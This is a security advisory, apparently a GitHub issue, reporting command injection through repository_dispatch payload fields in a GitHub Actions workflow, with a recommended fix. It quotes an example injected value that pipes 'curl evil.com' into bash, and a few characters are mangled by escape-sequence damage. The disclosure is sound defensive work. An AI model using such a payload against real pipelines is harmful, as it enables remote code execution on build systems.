security: script injection via repository_dispatch payload in update-azd-core workflow

[jongio]

Vulnerability: Script Injection via repository_dispatch Payload

CWE: CWE-77 — Command Injection
Severity: High

Description

The update-azd-core.yml workflow uses
epository_dispatch event payloads directly in GitHub Actions expression contexts (${{ }}), which are evaluated before the shell runs. Because any repository with a valid PAT can trigger
epository_dispatch, the client_payload.version and client_payload.branch fields are attacker-controlled.

The version validation on line 59 (^v) is insufficient — a value like �1" && curl evil.com | bash && echo " would pass the check and execute arbitrary commands in subsequent
un: blocks (lines 74, 82, 94–95, 100, 110, 118–120).

Affected Files

File	Lines
.github/workflows/update-azd-core.yml	41–43, 52, 74, 82, 94–95, 100, 110, 118–120

Recommended Fix

1. Store dispatch payload values in environment variables and reference them as shell variables instead of inline ${{ }} expressions
2. Strengthen version validation to require strict semver: ^v[0-9]+.[0-9]+.[0-9]+(-[a-zA-Z0-9.]+)?$
3. Validate the branch name against a strict alphanumeric/dash pattern

References

• GitHub Security Lab: Script injection
• OWASP Top 10: A03:2021 — Injection